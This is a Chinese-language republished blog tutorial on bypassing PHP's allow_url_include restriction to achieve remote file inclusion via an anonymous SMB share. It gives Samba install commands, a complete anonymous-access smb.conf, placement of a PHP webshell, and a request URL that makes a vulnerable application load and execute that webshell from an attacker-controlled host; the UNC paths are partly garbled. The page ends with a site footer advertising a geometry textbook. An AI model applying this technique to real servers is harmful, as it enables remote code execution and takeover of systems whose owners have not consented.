内容简介:在这篇文章中,我分享一下PHP程序中的远程文件包含漏洞,它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的在PHP配置文件中,默认将
简介
在这篇文章中,我分享一下PHP程序中的远程文件包含漏洞,它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的 HTTP/FTP URL
包含文件,但我将分享如何绕过远程文件包含的限制。
PHP and SMB 共享文件访问权限
在PHP配置文件中,默认将 allow_url_include
设置为 Off
,来限制PHP去加载远程的HTTP/FTP文件,这也有效的防御了远程文件包含攻击。尽管 PHP
设置了 allow_url_include
和 allow_url_fopen
为 Off
,但是没有阻止下载 SMB URL
。
攻击场景
当存在漏洞的PHP应用程序从攻击者控制的SMB共享机器上下载PHP webshell时,SMB共享机器应该允许其访问该文件。攻击者应该设置SMB服务器可以匿名访问。因此,一旦存在漏洞的应用程序去从SMB共享机器上下载PHP webshell时,SMB服务器不用判断任何身份,存在漏洞的程序就可以包含这个webshell。
让我们开始,首先在PHP的配置文件php.ini中禁止 “allow_url_fopen” 和”allow_url_include”,稍后配置SMB服务器可以匿名访问。一旦SMB共享设置好,就可以实施攻击。
PHP 环境配置
存在漏洞的机器已经设置”allow_url_fopen”和”allow_url_include” 为 Off
,下面的截图显示当前的PHP版本为 5.5.11
。
在此之前,我们要去访问远程的HTTP服务器上的webshell时,确保PHP禁止了远程文件包含。
应用程序显示报错,当我从远程主机上测试包含PHP webshell时,远程文件包含没成功。
配置 SAMBA 服务器为匿名访问
使用以下命令去安装SAMBA服务器。
apt-get install samba
创建SMB 共享目录 (比如我的 /var/www/html/pub/)
mkdir /var/www/html/pub/
配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
运行下面的命令来删除SAMBA 服务器的配置文件内容。
echo > /etc/samba/smb.conf
把下面的内容写在 /etc/samba/smb.conf
里面。
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
重启SAMBA服务器,让配置文件 /etc/samba/smb.conf
生效。
一旦SAMBA 服务器重启成功,尝试去访问SMB共享文件,确认SAMBA 服务器没有设置访问权限。在我的测试中,SAMBA服务器的IP是 192.168.0.3
,在Windows 文件浏览中去访问SMB共享文件,如下图。
\192.168.0.3
在SMB共享中放置PHP webshell
真棒。SMB共享目录是可以访问的, ica
文件是存在的。
在目录 /var/www/html/pub
中放置php webshell,这是SMB共享指令 ica
目录。
一旦在SMB共享目录中放置了PHP shell,使用windows 文件浏览访问SMB的共享目录 ica
.
\192.168.0.3ica
你会看到PHP shell在SMB 共享目录里面。我的是box.php
文件包含攻击
使用存在远程文件包含的PHP应用程序去访问这个SMB共享PHP shell的链接。
http://vulnerable_application/page.php?page=\192.168.0.3icabox.php
可以看到,存在PHP文件包含的应用程序从SMB’共享文件中获取web shell,并在机器上执行。我们已经绕过了限制并包含了托管在远程机器上的webshell。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Computational Geometry
Mark de Berg、Otfried Cheong、Marc van Kreveld、Mark Overmars / Springer / 2008-4-16 / USD 49.95
This well-accepted introduction to computational geometry is a textbook for high-level undergraduate and low-level graduate courses. The focus is on algorithms and hence the book is well suited for st......一起来看看 《Computational Geometry》 这本书的介绍吧!